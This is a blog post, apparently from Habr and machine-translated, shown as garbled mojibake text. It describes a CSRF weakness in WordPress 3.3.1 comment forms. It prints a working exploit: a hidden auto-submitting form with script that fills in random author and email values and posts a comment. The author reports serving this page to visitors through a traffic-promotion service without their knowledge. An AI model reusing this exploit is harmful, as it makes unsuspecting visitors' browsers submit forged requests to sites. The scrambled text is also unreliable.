рд╡рд░реНрдбрдкреНрд░реЗрд╕ CSRF рднреЗрджреНрдпрддрд╛ - рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

рдкрд░рд┐рдЪрдп


рдореИрдВрдиреЗ рдХрд▓ Yegor Khomyakov рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрдврд╝рд╛ред рдореИрдВрдиреЗ рд╕реЛрдЪрд╛- рд╢рд╛рдпрдж рдореИрдВ рдРрд╕рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдБ? рдФрд░ рдореИрдВрдиреЗ рдЕрдкрдиреЗ Wordpress рдмреНрд▓реЙрдЧ рд╕реЗ рд╢реБрд░реБрдЖрдд рдХреАред рдореБрдЭреЗ рдкрддрд╛ рдирд╣реАрдВ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЕрдиреНрдпрдерд╛ рдмреНрд▓реЙрдЧ рд╕реНрд╡рдпрдВ рд╣реА рд╣реИрдлреНрд░реЗрдХреНрдЯ рд╕реЗ рдЧрд┐рд░ рдЬрд╛рдПрдЧрд╛, рдФрд░ рд╡реЗ рдореБрдЭ рдкрд░ рд╡рд┐рдЬреНрдЮрд╛рдкрди рдХрд╛ рдЖрд░реЛрдк рд▓рдЧрд╛рдПрдВрдЧреЗ :)ред

рд╕рд┐рджреНрдзрд╛рдВрдд


рддреЛ Wordpress рдореЗрдВ CSRF рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрд╣рд╛рдБ рд╕рдордЭ рдореЗрдВ рдЖрддрд╛ рд╣реИ? рдореЗрд░реЗ рджрд┐рдорд╛рдЧ рдореЗрдВ рд╕рд┐рд░реНрдл рдПрдХ рд╣реА рдмрд╛рдд рдЖрддреА рд╣реИ - рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдВред рдореИрдВрдиреЗ рдЙрдирдХреЗ рд╕рд╛рде рд╢реБрд░реБрдЖрдд рдХреАред
рдХрдЯ рдХреЗ рдиреАрдЪреЗ рд╕рд╛рд╡рдзрд╛рдиреА, рджреЛ рдордзреНрдпрдо рдЖрдХрд╛рд░ рдХреЗ рдкреАрдПрдирдЬреА рдЪрд┐рддреНрд░ рд╣реИрдВред (рдиреИрддрд┐рдХрддрд╛, рдиреИрддрд┐рдХрддрд╛ ...)

рд╣рдо рдлреЙрд░реНрдо рдХреЛрдб рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ (рдереЛрдбрд╝рд╛ рд╕рд░рд▓реАрдХреГрдд):

<form action="http://example.com/wp-comments-post.php" method="post" id="commentform"> <p><input type="text" name="author" id="author" class="styled" value="" size="22" tabindex="1"> <input type="hidden" name="comment_post_ID" value="123"> <label for="author"><small></small></label></p> <p><input type="text" name="email" id="email" value="" size="22" tabindex="2"> <label for="email"><small> ()</small></label></p> <p><input type="text" name="url" id="url" value="" size="22" tabindex="3"> <label for="url"><small></small></label></p> <p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p> <p><input name="submit" type="submit" id="submit" tabindex="5" value=""></p> </form> 


рдпрд╣ рддреБрд░рдВрдд рджрд┐рдорд╛рдЧ рдореЗрдВ рдЖрддрд╛ рд╣реИ - рдХреЛрдИ рдЯреЛрдХрди рдпрд╛ рдРрд╕рд╛ рдХреБрдЫ рднреА рдирд╣реАрдВ! рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдХреБрдЫ рдмреНрд▓реЙрдЧреЛрдВ рдкрд░ рдореИрдВрдиреЗ Akismet рд╕реЗ рдЯреЛрдХрди рдХреА рд╕рдорд╛рдирддрд╛ рдХреЛ рджреЗрдЦрд╛, рд▓реЗрдХрд┐рди рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдореЗрд░реЗ рдкрд╛рд╕ Wordpress 3.3.1 рдФрд░ Akismet рдХреЗ рд╕рд╛рде рдХреЛрдИ рдЯреЛрдХрди рдирд╣реАрдВ рд╣реИред

рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╣рд┐рдЪрдХрд┐рдЪрд╛рд╣рдЯ рдХреЗ, рдЙрдиреНрд╣реЛрдВрдиреЗ рдПрдХ рд╕рд░рд▓ рдХреЛрдб рд▓рд┐рдЦрд╛:

 <div style="display:none;"><form action="http://example.com/wp-comments-post.php" method="post" id="commentform"> <p><input type="hidden" name="author" id="author" value=""> <input type="hidden" name="comment_post_ID" value="123"></p> <p><input type="hidden" name="email" id="email" value="" size="22" tabindex="2"></p> <p><input type="hidden" name="comment" id="comment" value="LOL"></input></p> <script> document.getElementById('author').value=(Math.random()*100000).toFixed(0); document.getElementById('email').value=(Math.random()*100000).toFixed(0)+'@mail.mail'; document.forms.commentform.submit(); </script> </form> </div> 


рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдкреГрд╖реНрда рдХреЛ рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд▓реЗрдЦрдХ рдХреЗ рдирд╛рдо рдХреЗ рд╕рд╛рде рдкреНрд░рдпреЛрдЧрд╛рддреНрдордХ рдмреНрд▓реЙрдЧ рдкрд░ рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдлрд╝реЙрд░реНрдо рднреЗрдЬрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛рдПрдБ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдФрд░ рдкреНрд░рдкрддреНрд░ рдХрд╛ рдПрдХ рдИ-рдореЗрд▓ <рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕рдВрдЦреНрдпрд╛рдПрдБ> @ mail.mailред рдХрдореЗрдВрдЯреНрд░реА рдХреЗ рдкрд╛рда рдХреЗ рд░реВрдк рдореЗрдВ, LOL рд╢рдмреНрдж рд╕рднреА рдХреЗ рд▓рд┐рдП рдХрд╛рдлреА рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рд╣реИред
рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдХреЛрдб рдХрд╛ рдирдХрд╛рд░рд╛рддреНрдордХ рдкрдХреНрд╖ рдпрд╣ рд╣реИ рдХрд┐ рдЬрдм рдЖрдк рдлреЙрд░реНрдо рдЬрдорд╛ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдирд┐рд╡рд╛рд░реНрдп рд░реВрдк рд╕реЗ рдкреНрд░рдпреЛрдЧрд╛рддреНрдордХ рдмреНрд▓реЙрдЧ рдкрд░ рдЬрд╛рдПрдЧрд╛ред рд▓реЗрдХрд┐рди рдЗрд╕ рдореБрджреНрджреЗ рдХреЛ рдПрдХ рдЖрдЗрдлреНрд░реЗрдо рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмреЗрд╡рдХреВрдлреА рд╕реЗ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЕрднреНрдпрд╛рд╕


рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╣рд┐рдЪрдХрд┐рдЪрд╛рд╣рдЯ рдХреЗ, рдореИрдВрдиреЗ рдЗрд╕ рдкреЗрдЬ рдХреЛ рдЗрд╕реНрдкреНрд░реИрдо рдкреЗрдЬ рдХреЗ рд╕рд╛рде PasteHTML рдкрд░ рдбрд╛рд▓ рджрд┐рдпрд╛ рдФрд░ рдЗрд╕реЗ "рд╕рд╛рдЗрдЯ рдкреНрд░рдореЛрд╢рди рд╕рд┐рд╕реНрдЯрдо" рдореЗрдВ рд▓реЙрдиреНрдЪ рдХрд░ рджрд┐рдпрд╛, рдЬрд╣рд╛рдВ рд╕рд╛рдЗрдЯ рдХреЗ рдорд╛рд▓рд┐рдХ рдмрд╛рдж рдореЗрдВ рд╕рд░реНрдл рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдордиреЗ рдЖрдПред
рдкрд░рд┐рдгрд╛рдо рдХрд╛рдлреА рдЕрдиреБрдорд╛рдирд┐рдд рд╣реИ:





рдирд┐рд╖реНрдХрд░реНрд╖


CSRF рд▓реЛрдХрдкреНрд░рд┐рдп рд╣реИред рд▓реЗрдХрд┐рди рдореБрдЭреЗ рд╕рдордЭ рдирд╣реАрдВ рдЖ рд░рд╣рд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдореЗрдВ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐ рдХреНрдпреЛрдВ рд╣реИред
рдФрд░ рдХрд┐рд╕реА рднреА рдЕрдХреАрдореЗрдд рдиреЗ рдорджрдж рдирд╣реАрдВ рдХреАред
рдирд┐рд╖реНрдХрд░реНрд╖ - рдХреИрдкреНрдЪрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ! :)

PS рдХреМрди рдФрд░ рдХреИрд╕реЗ рдЬрд╛рдирддрд╛ рд╣реИ - рдХреГрдкрдпрд╛ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд▓рд┐рдЦреЗрдВред
рдкреАрдкреАрдПрд╕ рдпрд╣ рдореЗрд░рд╛рдм рдкрд░ рдкрд╣рд▓рд╛ рд▓реЗрдЦ рд╣реИ, рд╕рдЦреНрддреА рд╕реЗ рдиреНрдпрд╛рдп рди рдХрд░реЗрдВ :)

Source: https://habr.com/ru/post/In141414/


All Articles